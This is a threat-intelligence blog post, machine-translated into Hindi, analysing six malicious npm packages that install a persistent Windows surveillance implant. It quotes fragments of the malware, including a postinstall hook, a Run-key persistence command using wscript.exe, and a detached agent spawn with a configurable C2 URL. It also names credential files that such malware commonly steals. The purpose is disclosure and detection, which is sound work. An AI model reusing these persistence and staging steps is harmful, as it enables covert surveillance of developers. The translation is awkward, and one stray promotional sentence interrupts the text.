DevTap npm Typosquatting Attack

DevTap npm Typosquatting Attack: छह दुर्भावनापूर्ण पैकेजों ने डेवलपर वर्कस्टेशनों को निशाना बनाया

विषय - सूची

अवश्य पढ़ें पोस्ट

रुचि के नवीनतम पोस्ट

TL, डॉ

1 अप्रैल से 3 मई, 2026 के बीच, एक एकल एनपीएम प्रकाशक, user0001एक अपुष्ट जीमेल पते से पंजीकृत। tanvisoul9@gmail.comउन्होंने जानबूझकर नीरस, बुनियादी ढांचे से संबंधित नामों वाले छह पैकेज चुपचाप जारी किए: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, तथा node-env-resolve.

नवीनतम दो संस्करणों node-env-resolveXygeni के मैलवेयर अर्ली वार्निंग (MEW) सिस्टम द्वारा 1.0.7 और 1.0.8 संस्करणों को 2 मई को चिह्नित किया गया था और 3 मई को दुर्भावनापूर्ण होने की पुष्टि की गई थी।

यह इम्प्लांट अपनी विशेषताओं के कारण असामान्य है: इसमें कोई टेलीग्राम बॉट नहीं है, कोई OAST कॉलबैक नहीं है, और न ही... कहानियोऔर इंस्टॉलेशन के समय AWS क्रेडेंशियल्स प्राप्त करने का कोई प्रयास नहीं किया गया। इसके बजाय, postinstall.js एक HKCU रन कुंजी का उपयोग करके विंडोज बूट-परसिस्टेंस एंट्री स्थापित करता है जो लॉन्च करता है wscript.exe यह एक VBS स्टब के विरुद्ध कार्य करता है। फिर यह एक अलग Node.js एजेंट बनाता है जो माइक्रोफोन कैप्चर, ब्राउज़र-हिस्ट्री चोरी, स्क्रीनशॉट लेने और माउस/कीबोर्ड सिमुलेशन के लिए मॉड्यूल को बंडल करता है।

हम इसे क्लस्टर कह रहे हैं देवटैपकिट को इंस्टॉल करने के बाद, यह डेवलपर की मशीन पर चलता रहता है।

यह लेख लिखे जाने के समय सभी छह पैकेज npm पर उपलब्ध थे। हमने इन्हें रजिस्ट्री के दुरुपयोग चैनल पर सबमिट कर दिया है। सुरक्षाकर्मियों को प्रकाशक से लंबित सभी इंस्टॉलेशन को हटा देना चाहिए।

क्लस्टर: छह पैकेज, एक प्रकाशक

प्रकाशक खाता user0001 यह अपुष्ट है। इसका कोई आधार नहीं है। SCM सत्यापन, डोमेन-आधारित ईमेल नहीं, और कोई पूर्व इतिहास नहीं। जीमेल हैंडल tanvisoul9 हमें मिले किसी अन्य एनपीएम प्रकाशक रिकॉर्ड में यह दिखाई नहीं देता है।

सभी छह पैकेजों में एक ही अनुरक्षक का नाम है, इन्हें एक ही खाते से प्रकाशित किया गया है, और ये सभी समान जानकारी साझा करते हैं। package.json मानक प्रक्रिया। कोई नहीं है repositoryमें homepage, और नहीं description एक पंक्ति से अधिक लंबा।

नामकरण की रणनीति सबसे दिलचस्प पहलू है। क्लासिक डिपेंडेंसी-कन्फ्यूजन या टाइपोस्क्वैट अभियान के विपरीत, इनमें से कोई भी नाम किसी विशिष्ट अपस्ट्रीम लाइब्रेरी को लक्षित नहीं करता है। इसके बजाय, इन्हें इस तरह से कैलिब्रेट किया गया है कि ये वास्तविक परिवेश में घुलमिल जाएं। package.json or npm ls उत्पादन.

पैकेजप्रथम प्रकाशितनवीनतम संस्करणसंस्करणक्लस्टर में भूमिका
सेंट्रैलॉगर2026-04-01 12:46 UTC1.0.95, 1.0.5 से 1.0.9 तकक्लस्टर की “लॉगिंग यूटिलिटी” का कवर; सबसे पहला प्रकाशन
डोम-यूटिल्स-लाइट2026-04-14 07:36 UTC1.0.33जेनेरिक DOM-हेल्पर कवर
नोड-फ़ेच-लाइट2026-04-19 10:22 UTC1.0.23नोड-फ़ेच परिवार की नकल करता है
कनेक्टर-एजेंट2026-04-25 05:12 UTC1.0.01सामान्य नाम “एजेंट”
नोड-जीवाईपी-रनटाइम2026-04-25 05:17 UTC1.0.01यह नेटिव-मॉड्यूल बिल्ड टूलिंग की नकल करता है।
नोड-एनवी-रिज़ॉल्व2026-04-25 05:21 UTC1.0.910, 1.0.0 से 1.0.9 तकसक्रिय ड्रॉपर; पूर्ण प्रत्यारोपण

जैसे नाम centralogger, node-fetch-lite, तथा node-gyp-runtime इन्हें कोड समीक्षा में विवादरहित दिखने के लिए डिज़ाइन किया गया है। ये ऐसी चीज़ें लगती हैं जो पहले से ही किसी प्रोजेक्ट के डिपेंडेंसी ट्री में मौजूद होंगी।

एक नए, अपुष्ट प्रकाशक और अनुपलब्ध रिपॉजिटरी लिंक के साथ मिलकर, वे एक पहचानने योग्य पैटर्न बनाते हैं: एक अभिनेता रजिस्ट्री में कम घर्षण वाले नामों को डालता है, फिर महत्वपूर्ण नाम पर तेजी से काम करता है। इस मामले में, node-env-resolve आठ दिनों में दस संस्करण प्राप्त हुए।

विंडोज डेवलपर बॉक्स पर क्या आता है

दुर्भावनापूर्ण श्रृंखला पर node-env-resolve:1.0.8 यह एक npm RAT के लिए संक्षिप्त, सीधा और असामान्य रूप से सुविधाओं से भरपूर है।

पोस्टइंस्टॉल: परसिस्टेंस और डिटैच्ड एजेंट

package.json एक सिंगल इंस्टॉल हुक घोषित करता है:

{ "scripts": { "postinstall": "node postinstall.js" } }

postinstall.js यह क्रम से तीन काम करता है।

सबसे पहले, यह npm ट्री के बाहर एक इंस्टॉलेशन डायरेक्टरी बनाता है। स्क्रिप्ट में रनटाइम पर पथ की गणना की जाती है। INSTALL_DIRफिर यह एक आंतरिक प्रक्रिया चलाता है। execSync('npm install --production --silent ...') इसके अंदर इम्प्लांट की रनटाइम निर्भरताओं को खींचने के लिए। यह एजेंट को डिस्क पर कहीं मैन्युअल रूप से रखता है। node_modules ऑडिट में यह नहीं पाया जाएगा।

दूसरा, यह एक VBS लॉन्चर लिखता है और इसे बूट परसिस्टेंस के लिए पंजीकृत करता है:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \     /v ${AGENT_NAME} \     /t REG_SZ \     /d "wscript.exe \"${vbsPath}\"" /f

wscript.exe विंडोज स्क्रिप्ट होस्ट एक हस्ताक्षरित माइक्रोसॉफ्ट बाइनरी है जो इसे चलाता है। .vbs कंसोल विंडो के बिना फाइलें। यह पूर्वcisइसीलिए इसे ऑटोरन स्टब्स के लिए प्राथमिकता दी जाती है।

इसका मिलान भी किया जा सकता है। reg delete अंदर का रास्ता src/index.jsइससे पता चलता है कि इम्प्लांट को ऑपरेटर के आदेश पर आसानी से हटाने के लिए डिज़ाइन किया गया है।

तीसरा, यह एक पृथक चाइल्ड प्रोसेस को जन्म देता है:

spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {   detached: true,   env: { ...process.env, SERVER_URL } })

यहां दो बातें महत्वपूर्ण हैं।

SERVER_URL इसे वातावरण से पढ़ा जाता है। परिणामस्वरूप, C2 एंडपॉइंट प्रत्येक परिनियोजन के लिए कॉन्फ़िगर करने योग्य है और पैकेज में अंतर्निहित नहीं है। यह छोटा लेकिन जानबूझकर किया गया निर्णय अधिकांश स्थिर-IOC स्वीप को विफल कर देता है।

इसके अलावा, उत्पन्न बच्चा अपने माता-पिता के पूरे वातावरण को विरासत में प्राप्त करता है। इसलिए, कोई भी NPM_TOKEN, AWS_*, GITHUB_TOKENया फिर, इंस्टॉलेशन के समय डेवलपर शेल में मौजूद SSH-एजेंट सॉकेट, लंबे समय तक जीवित रहने वाले एजेंट की मेमोरी में चला जाता है।

एजेंट अपने साथ क्या भेजता है

बंडल src/ इस ट्री में तीन मॉड्यूल शामिल हैं जिनके नाम ही पूरी कहानी बयां करते हैं: audioCapture.js, browserHistory.js, तथा systemInfo.js.

स्टेजिंग के दौरान हल की गई रनटाइम निर्भरता सूची npm install, उनकी पुष्टि करता है।

यह दृष्टिकोण एक अव्यवस्थित घटना को नियंत्रित प्रतिक्रिया में बदल देता है।

अंधाधुंध प्रतिक्रिया करने के बजाय, टीमें मिलकर काम करती हैं। स्पष्ट प्राथमिकता निर्धारण और त्वरित निवारण.

निर्भरताइस संदर्भ में इसका क्या महत्व है?
स्क्रीनशॉट-डेस्कटॉपआवधिक स्क्रीन कैप्चर
@nut-tree-fork/nut-jsमाउस और कीबोर्ड स्वचालन / इनपुट सिमुलेशन
बेहतर- sqlite3Chrome, Edge और Firefox के हिस्ट्री SQLite डेटाबेस से सीधे डेटा पढ़ना
adm-zipनिकासी से पहले एकत्रित कलाकृतियों को बांधना
तेज़स्क्रीनशॉट और इमेज आर्टिफैक्ट्स का आकार बदलना/संपीड़न करना
सॉकेट.आईओ-क्लाइंटनिरंतर द्विदिशात्मक C2 चैनल
नोड-मशीन-आईडीपीड़ित की ट्रैकिंग के लिए स्थिर प्रति-होस्ट फिंगरप्रिंट

systemInfo.js कॉल os.networkInterfaces() पहले बीकन से पहले अतिरिक्त फिंगरप्रिंटिंग के लिए।

ऑडियो कैप्चर सबसे बेहतरीन सिग्नल क्यों है?

MEW में हम जिन अधिकांश npm RATs का विश्लेषण करते हैं, वे इंस्टालेशन के दौरान गुप्त डेटा चोरी होने पर ही रुक जाते हैं। वे पढ़ते हैं ~/.npmrcपढ़ने के लिए, ~/.aws/credentialsखुरचें process.envवेबहुक पर POST रिक्वेस्ट भेजें और निकल जाएं। यह एक तरह के लूटपाट वाले आर्थिक मॉडल के अनुरूप है। क्रेडेंशियल्स की वैधता अवधि कम होती है, और हमलावर को जल्दी से पैसा कमाना होता है।

node-env-resolve आकार में भिन्न है।

यह निरंतरता रीबूट के बाद भी बनी रहती है। एजेंट अलग से और लंबे समय तक चलने वाले मोड में काम करता है। wscript.exeइसमें मौजूद उपकरण डेवलपर की मशीन पर मौजूद रहने के लिए हैं, न कि उठाकर छोड़ने के लिए: एक माइक्रोफोन रिकॉर्डर, एक कीबोर्ड/माउस ड्राइवर, पूर्ण ब्राउज़र-इतिहास संग्रह, स्क्रीन कैप्चर और एक कॉन्फ़िगर करने योग्य C2 से कनेक्ट करने वाला एक इंटरैक्टिव Socket.IO चैनल।

विशेष रूप से माइक्रोफोन कैप्चर करना वह सीमा है जिसे यह अभियान पार करता है, जबकि अधिकांश एनपीएम मैलवेयर ऐसा नहीं करते हैं।

डेवलपर वर्कस्टेशन अब वह वर्कस्टेशन भी बन गया है जहाँ डेवलपर स्टैंड-अप मीटिंग, कस्टमर कॉल, डिज़ाइन डिस्कशन और ऑन-कॉल ब्रिज करते हैं। माइक्रोफ़ोन रिकॉर्ड करने वाला इम्प्लांट असल में डेवलपर के npm टोकन को हासिल करने के लिए नहीं है। बल्कि यह उस बात को हासिल करने के लिए है जो डेवलपर लैपटॉप के सामने बोलता है।

उस क्षमता समूह के साथ-साथ अस्पष्टता की कमी और किसी भी दिखावटी इंस्टॉलेशन-टाइम डेटा लीक की अनुपस्थिति, अवसरवादी क्रेडेंशियल चोरी के बजाय लक्षित पहुंच के लिए पूर्व-तैयारी के रूप में दिखाई देती है।

हम केवल इसी आधार पर श्रेय का दावा नहीं कर रहे हैं। हम परिचालन प्रोफ़ाइल पर ध्यान दे रहे हैं।

npm typosquatting attack - DevTab

आठ दिवसीय पुनरावृति चक्र पर node-env-resolve यह समयरेखा में सबसे अधिक परिचालन संबंधी जानकारी देने वाला विवरण है।

यह कोई ऐसा सिस्टम नहीं है जिसे एक बार इंस्टॉल करके भूल जाया जा सके। प्रकाशक इस ड्रॉपर को लगातार अपडेट कर रहा है, जिसका आमतौर पर मतलब दो बातों में से एक होता है: या तो वे व्यापक तैनाती से पहले इसे परीक्षण वातावरणों के अनुसार समायोजित कर रहे हैं, या फिर उन्हें पहले से ही इंस्टॉलेशन से संबंधित डेटा मिल रहा है और वे उसी के अनुसार प्रतिक्रिया दे रहे हैं।

अन्य पाँच पैकेजों में उनके प्रारंभिक प्रकाशन के बाद कोई खास बदलाव नहीं हुआ। यह सहायक क्लस्टर के लिए "एक बार स्टेज करें, नाम छोड़ दें" पैटर्न के अनुरूप है, जबकि इंजीनियरिंग का ध्यान मुख्य कार्य करने वाले पैकेज पर केंद्रित रहता है।

श्रेय: छोटे-छोटे सुराग, कोई ठोस फैसला नहीं

सार्वजनिक OSINT संकेत सूक्ष्म हैं, और हम उन्हें बढ़ाएंगे नहीं। जो देखा जा सकता है:

जीमेल हैंडल tanvisoul9 यह नाम कुछ हद तक दक्षिण एशियाई नाम "तन्वी" से मिलता-जुलता है। यह एक कमजोर संकेत है। जीमेल हैंडल पहचान नहीं होते, और अंत में आने वाला अंश soul9 यह सामान्य जानकारी है। केवल ईमेल के स्थानीय भाग से ही भौगोलिक स्थिति का अनुमान लगाना सुरक्षित नहीं है।

कोड शैली Node.js में सामान्य है: standard लाइब्रेरी कॉल जैसे os, child_process, spawn, तथा reg addइसमें कोई अस्पष्टीकरण, स्ट्रिंग रोटेशन या एंटी-डीबग लॉजिक नहीं है। लेखक विंडोज रजिस्ट्री प्रिमिटिव्स और डिटैच्ड-चाइल्ड-प्रोसेस ऑर्केस्ट्रेशन से परिचित हैं, लेकिन ऐसा प्रतीत नहीं होता कि वे किसी अधिक गुप्त तकनीक का उपयोग करने की कोशिश कर रहे हैं।

निर्भरताएँ पूरी तरह से तैयार और सुप्रसिद्ध हैं: screenshot-desktop, nut-js, better-sqlite3, तथा socket.io-clientइसमें कोई कस्टम प्रोटोकॉल नहीं है, न ही बिल्कुल नया C2 स्टैक है, और न ही पाठ्यपुस्तक में वर्णित तरीकों से परे कोई नया परसिस्टेंस ट्रिक है। एचकेसीयू रन कुंजीयह एक कुशल इंटीग्रेटर है, न कि टूल ऑथर।

प्रकाशित कलाकृतियों के भीतर हमें गैर-अंग्रेजी स्ट्रिंग्स, अंतर्निहित टिप्पणियां, लोकेल डेटा या कंपाइलर-आउटपुट टाइमज़ोन फिंगरप्रिंट नहीं मिले।

हमने उन पूर्व अभियानों के साथ कोड ओवरलैप की जाँच की जिन्हें हम पहले से ही ट्रैक कर रहे हैं, जिनमें शामिल हैं: शाई-हुलुद, आउलिवियन, बिल्डकाइट, और हाल ही में हेइबाई / claude-code-best एन्थ्रोपिक-सीएलआई क्लोन परिवार। हमें कोई साझा सी2 पैटर्न, साझा फ़ाइल लेआउट और साझा मुहावरे नहीं मिले।

हम यह नहीं कहेंगे कि यह कोई राज्य-संचालित संस्था है, कोई ज्ञात समूह है, या भौगोलिक रूप से किसी विशिष्ट देश से जुड़ा हुआ है।

इस ऑपरेशनल प्रोफाइल से पता चलता है कि यह एक छोटी, मध्यम रूप से कुशल टीम द्वारा डेवलपर-वर्कस्टेशन की निगरानी करने से संबंधित है। संभवतः यह वित्तीय लाभ के लिए किया जा रहा है, जिसका उद्देश्य एक्सेस का आगे उपयोग करना है, लेकिन साथ ही किसी अलग खरीदार के लिए जासूसी को एक सेवा के रूप में प्रदान करना भी हो सकता है।

दो अप्रत्यक्ष बिंदु इस बात का समर्थन करते हैं: ध्यान आकर्षित करने वाले डेटा लीक करने के तरीकों से बचना जो क्लस्टर को तेजी से नष्ट कर सकते हैं, जैसे कि टेलीग्राम बॉट्स, oastify.comया कैनरी टोकन, और जानबूझकर रखे गए सादे पैकेज नाम, जो संक्षिप्त उच्च मात्रा वाले उछाल के बजाय शांत लंबे समय तक चलने वाले इंस्टॉलेशन को प्राथमिकता देते हैं।

सुरक्षा उल्लंघन और पहचान के संकेतक

पैकेज और प्रकाशक
क्षेत्रवैल्यू
एनपीएम प्रकाशकuser0001
प्रकाशक का ईमेलtanvisoul9@gmail.com, अपुष्ट
संकुलcentralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve
दुर्भावनापूर्ण होने की पुष्टि हुईनोड-एनवी-रिज़ॉल्व@1.0.7, नोड-एनवी-रिज़ॉल्व@1.0.8
मेज़बान कलाकृतियाँ
प्रकारवैल्यू
दृढ़ता कुंजीHKCU\Software\Microsoft\Windows\CurrentVersion\Run
स्थायित्व मूल्यचर का नाम; wscript.exe प्रारूप का डेटा \\ .vbs"
हुक स्थापित करेंpostinstall: पैकेज मैनिफेस्ट में node postinstall.js
प्रत्यारोपण मॉड्यूलsrc/audioCapture.js, src/browserHistory.js, src/systemInfo.js
स्टेजिंग निर्देशिकाINSTALL_DIR प्रोजेक्ट के node_modules के बाहर रिजॉल्व हुआ; इसका स्थान postinstall.js द्वारा इंस्टालेशन के समय निर्धारित किया गया।
नेटवर्क
प्रकारवैल्यू
C2 परिवहनsocket.io-क्लाइंट, निरंतर द्विदिशात्मक चैनल
C2 एंडपॉइंटयह जानकारी SERVER_URL पर्यावरण चर के माध्यम से एजेंट को प्रदान की जाती है; प्रकाशित कलाकृतियों में इसे हार्ड-कोड नहीं किया जाता है।

पहचान संबंधी नोट्स

दो नियम C2 एंडपॉइंट की आवश्यकता के बिना इस परिवार को पकड़ लेते हैं।

सबसे पहले, उन पोस्टइंस्टॉल स्क्रिप्ट को चिह्नित करें जो आंतरिक रूप से कार्य करती हैं। npm install पैकेज की अपनी निर्देशिका के बाहर किसी पथ में। कोई भी वैध प्रीबिल्ड डाउनलोडर, जैसे कि node-gyp रीबिल्ड या प्रीबिल्ट-बाइनरी डाउनलोडर, पैकेज के अंदर या प्लेटफ़ॉर्म में लिखता है-standard सत्यापित हैश वाले कैश पथ। यह नए बनाए गए पथ में नहीं लिखता है। INSTALL_DIR डिस्क पर कहीं और।

दूसरा, उन पोस्टइंस्टॉल स्क्रिप्ट को चिह्नित करें जो समस्या उत्पन्न करती हैं। reg add HKCU\…\Run साथ में wscript.exe लॉन्चर के रूप में। यह असल में किसी भी npm पैकेज से कभी भी वैध नहीं होता। इसे चिह्नित करें और अलग रखें।

एक तीसरा तरीका अगले सिबलिंग पैकेज की पुष्टि होने से पहले ही उसे पहचानने में उपयोगी है: एक नया एनपीएम पब्लिशर जिसमें कोई SCM सत्यापन, एक जीमेल ईमेल, नहीं repository किसी क्षेत्र में कई छोटे, सामान्य, बुनियादी ढांचे से मिलते-जुलते पैकेज नाम कुछ ही दिनों के अंतराल में प्रकाशित होना, अपने आप में मैन्युअल समीक्षा की आवश्यकता को दर्शाता है।

इसकी सूचना npm रजिस्ट्री को दे दी गई है। प्रकाशक का खाता हटाए जाने पर हम इस पोस्ट को अपडेट कर देंगे।

एससीए-टूल्स-सॉफ्टवेयर-कंपोजिशन-एनालिसिस-टूल्स
अपने सॉफ़्टवेयर जोखिमों को प्राथमिकता दें, उनका निवारण करें और उन्हें सुरक्षित करें।
अपना निःशुल्क खाता प्राप्त करें।
किसी क्रेडिट कार्ड की आवश्यकता नहीं।

अपने सॉफ़्टवेयर विकास और वितरण को सुरक्षित करें

Xygeni प्रोडक्ट सूट के साथ